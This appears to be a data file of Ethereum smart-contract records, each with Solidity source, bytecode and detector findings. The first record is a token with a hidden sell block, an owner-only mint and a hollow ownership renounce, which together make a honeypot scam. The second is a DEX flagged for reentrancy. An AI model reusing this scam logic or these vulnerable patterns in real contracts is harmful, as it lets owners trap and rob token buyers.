RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function BlacklistZombie(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function UnstakeUNDEAD(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = false; } } function StakeUNDEAD() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function AllowTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function AirdropZBUX(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x6080604052600436106101395760003560e01c8063763a67af116100ab578063b09f12661161006f578063b09f12661461032e578063b2fab00314610343578063bc93a39214610363578063d21185f414610383578063d28d8852146103a3578063dd62ed3e146103b857610140565b8063763a67af146102a25780638da5cb5b146102b757806395d89b41146102d9578063a6f9dae1146102ee578063a9059cbb1461030e57610140565b8063313ce567116100fd578063313ce567146101ff5780633eaaf86b146102215780634945e8f1146102365780636e4ee8111461024d5780636ebcf6071461026257806370a082311461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806318160ddd146101ca57806323b872dd146101df57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101656104a4565b3480156101eb57600080fd5b506101bd6101fa366004611109565b6104aa565b34801561020b57600080fd5b50610214610543565b6040516101729190611575565b34801561022d57600080fd5b50610165610548565b34801561024257600080fd5b5061024b61054e565b005b34801561025957600080fd5b5061024b6105a8565b34801561026e57600080fd5b5061016561027d366004611092565b6105ea565b34801561028e57600080fd5b5061016561029d366004611092565b6105fc565b3480156102ae57600080fd5b5061024b61061b565b3480156102c357600080fd5b506102cc610997565b6040516101729190611282565b3480156102e557600080fd5b506101906109a6565b3480156102fa57600080fd5b5061024b610309366004611092565b6109b5565b34801561031a57600080fd5b506101bd610329366004611149565b610a03565b34801561033a57600080fd5b50610190610a17565b34801561034f57600080fd5b5061024b61035e366004611149565b610aa5565b34801561036f57600080fd5b5061024b61037e366004611174565b610b91565b34801561038f57600080fd5b5061024b61039e366004611174565b610c33565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b60065490565b60006104b7848484610dc5565b6001600160a01b0384166000908152600160205260408120816104d8610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105245760405162461bcd60e51b815260040161051b9061146d565b60405180910390fd5b61053885610530610d0d565b858403610d11565b506001949350505050565b601290565b60065481565b600c546001600160a01b03163314806105715750600d546001600160a01b031633145b61057a57600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b600c546001600160a01b03163314806105cb5750600d546001600160a01b031633145b6105d457600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031633148061063e5750600d546001600160a01b031633145b61064757600080fd5b600954610100900460ff161561066f5760405162461bcd60e51b815260040161051b9061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d916106d09130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070957600080fd5b505afa15801561071d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074191906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078957600080fd5b505afa15801561079d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c191906110b5565b6040518363ffffffff1660e01b81526004016107de929190611296565b602060405180830381600087803b1580156107f857600080fd5b505af115801561080c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610866816105fc565b600c546040516001600160e01b031960e087901b16815261089c93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b1580156108b557600080fd5b505af11580156108c9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108ee9190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b39261094192620100009091041690600019906004016112b0565b602060405180830381600087803b15801561095b57600080fd5b505af115801561096f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109939190611235565b5050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806109d85750600d546001600160a01b031633145b6109e157600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610a10610d0d565b8484610dc5565b60088054610a249061159b565b80601f0160208091040260200160405190810160405280929190818152602001828054610a509061159b565b8015610a9d5780601f10610a7257610100808354040283529160200191610a9d565b820191906000526020600020905b815481529060010190602001808311610a8057829003601f168201915b505050505081565b600c546001600160a01b0316331480610ac85750600d546001600160a01b031633145b610ad157600080fd5b6001600160a01b038216610af75760405162461bcd60e51b815260040161051b90611436565b610b0360008383611082565b8060066000828254610b159190611583565b90915550506001600160a01b03821660009081526020819052604081208054839290610b42908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b8590859061130f565b60405180910390a35050565b600c546001600160a01b0316331480610bb45750600d546001600160a01b031633145b610bbd57600080fd5b60005b815181101561099357600060036000848481518110610bef57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c2b816115d6565b915050610bc0565b600c546001600160a01b0316331480610c565750600d546001600160a01b031633145b610c5f57600080fd5b60005b815181101561099357600160036000848481518110610c9157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ccd816115d6565b915050610c62565b60078054610a249061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b815260040161051b906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b815260040161051b906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b815260040161051b906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b815260040161051b9061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b815260040161051b906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b80356106168161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea2646970667358221220b49dcfa5b4c80543fc8625fb350792760f0c0ad364aa85d4d359f9447a49f30064736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,974
0x188bd4f9121cb73b07e1c4a8de0b3de2ca24f2af
pragma solidity ^0.4.9; // ---------------------------------------------------------------------------- // &#39;Datodex.com&#39; DEX contract // // Admin : 0x50b16167821eFAbdbC991eDd2d166BbA4BCA63B2 // fees : 0.08% // // // // In God we Trust // ---------------------------------------------------------------------------- contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can&#39;t be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn&#39;t wrap. //Replace the if with this one instead. if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ReserveToken is StandardToken, SafeMath { address public minter; function ReserveToken() { minter = msg.sender; } function create(address account, uint amount) { if (msg.sender != minter) throw; balances[account] = safeAdd(balances[account], amount); totalSupply = safeAdd(totalSupply, amount); } function destroy(address account, uint amount) { if (msg.sender != minter) throw; if (balances[account] < amount) throw; balances[account] = safeSub(balances[account], amount); totalSupply = safeSub(totalSupply, amount); } } contract AccountLevels { //given a user, returns an account level //0 = regular user (pays take fee and make fee) //1 = market maker silver (pays take fee, no make fee, gets rebate) //2 = market maker gold (pays take fee, no make fee, gets entire counterparty&#39;s take fee as rebate) function accountLevel(address user) constant returns(uint) {} } contract AccountLevelsTest is AccountLevels { mapping (address => uint) public accountLevels; function setAccountLevel(address user, uint level) { accountLevels[user] = level; } function accountLevel(address user) constant returns(uint) { return accountLevels[user]; } } contract DatoDEX is SafeMath { address public admin; //the admin address address public feeAccount; //the account that will receive fees address public accountLevelsAddr; //the address of the AccountLevels contract uint public feeMake; //percentage times (1 ether) uint public feeTake; //percentage times (1 ether) uint public feeRebate; //percentage times (1 ether) mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature) mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled) event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); function DatoDEX(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) { admin = admin_; feeAccount = feeAccount_; accountLevelsAddr = accountLevelsAddr_; feeMake = feeMake_; feeTake = feeTake_; feeRebate = feeRebate_; } function() { throw; } function changeAdmin(address admin_) { if (msg.sender != admin) throw; admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) { if (msg.sender != admin) throw; accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) { if (msg.sender != admin) throw; feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) { if (msg.sender != admin) throw; if (feeMake_ > feeMake) throw; feeMake = feeMake_; } function changeFeeTake(uint feeTake_) { if (msg.sender != admin) throw; if (feeTake_ > feeTake || feeTake_ < feeRebate) throw; feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) { if (msg.sender != admin) throw; if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw; feeRebate = feeRebate_; } function deposit() payable { tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) { if (tokens[0][msg.sender] < amount) throw; tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); if (!msg.sender.call.value(amount)()) throw; Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) { //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. if (token==0) throw; if (!Token(token).transferFrom(msg.sender, this, amount)) throw; tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) { if (token==0) throw; if (tokens[token][msg.sender] < amount) throw; tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); if (!Token(token).transfer(msg.sender, amount)) throw; Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) constant returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); orders[msg.sender][hash] = true; Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { //amount is in amountGet terms bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires && safeAdd(orderFills[user][hash], amount) <= amountGet )) throw; tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); uint feeRebateXfer = 0; if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; } tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires )) return 0; uint available1 = safeSub(amountGet, orderFills[user][hash]); uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; if (available1<available2) return available1; return available2; } function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); return orderFills[user][hash]; } function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw; orderFills[msg.sender][hash] = amountGet; Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s); } }
0x606060405236156100725763ffffffff60e060020a60003504166306fdde038114610074578063095ea7b31461010457806318160ddd1461013757806323b872dd14610159578063313ce5671461019257806370a08231146101b4578063a9059cbb14610104578063dd62ed3e14610215575bfe5b341561007c57fe5b610084610249565b6040805160208082528351818301528351919283929083019185019080838382156100ca575b8051825260208311156100ca57601f1990920191602091820191016100aa565b505050905090810190601f1680156100f65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561010c57fe5b610123600160a060020a03600435166024356102d6565b604080519115158252519081900360200190f35b341561013f57fe5b6101476102df565b60408051918252519081900360200190f35b341561016157fe5b610123600160a060020a03600435811690602435166044356102e5565b604080519115158252519081900360200190f35b341561019a57fe5b6101476102ef565b60408051918252519081900360200190f35b34156101bc57fe5b610147600160a060020a03600435166102f5565b60408051918252519081900360200190f35b341561010c57fe5b610123600160a060020a03600435166024356102d6565b604080519115158252519081900360200190f35b341561021d57fe5b610147600160a060020a03600435811690602435166102d6565b60408051918252519081900360200190f35b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102ce5780601f106102a3576101008083540402835291602001916102ce565b820191906000526020600020905b8154815290600101906020018083116102b157829003601f168201915b505050505081565b60005b92915050565b60005b90565b60005b9392505050565b60005481565b60005b919050565b60005b92915050565b60005b929150505600a165627a7a72305820f3e705c2e82b98212d201ff94a78543600e80083f8bf030e3d0ae17666a166470029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,975
0xf30ce6cbbb269aeaf7a180b971d47c23223cd551
pragma solidity >=0.6.6; ///DO NOT BUY THIS TOKEN/// ///DO NOT BUY THIS TOKEN/// ///DO NOT BUY THIS TOKEN/// abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external; function transferFrom(address sender, address recipient, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IFeeManager { function query(address from, address _to, uint256 _amount) external; } contract ERC20 is Context { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, 